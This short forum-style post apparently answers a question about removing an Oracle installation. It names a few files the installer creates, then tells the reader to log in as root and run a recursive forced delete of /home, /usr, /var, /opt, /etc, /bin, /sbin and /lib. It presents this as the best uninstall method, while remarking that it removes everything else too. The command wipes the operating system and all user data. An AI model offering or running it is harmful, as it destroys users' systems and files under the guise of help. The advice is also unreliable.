Oracle installer puts things all over the system: /usr/local/bin, /etc/oratab, /etc/Orainst.loc and some other things. The best thing to do is to log in as root and do the following: rm -rf /home /usr /var /opt /etc /bin /sbin /lib That will uninstall oracle and anything else you might have on the system.
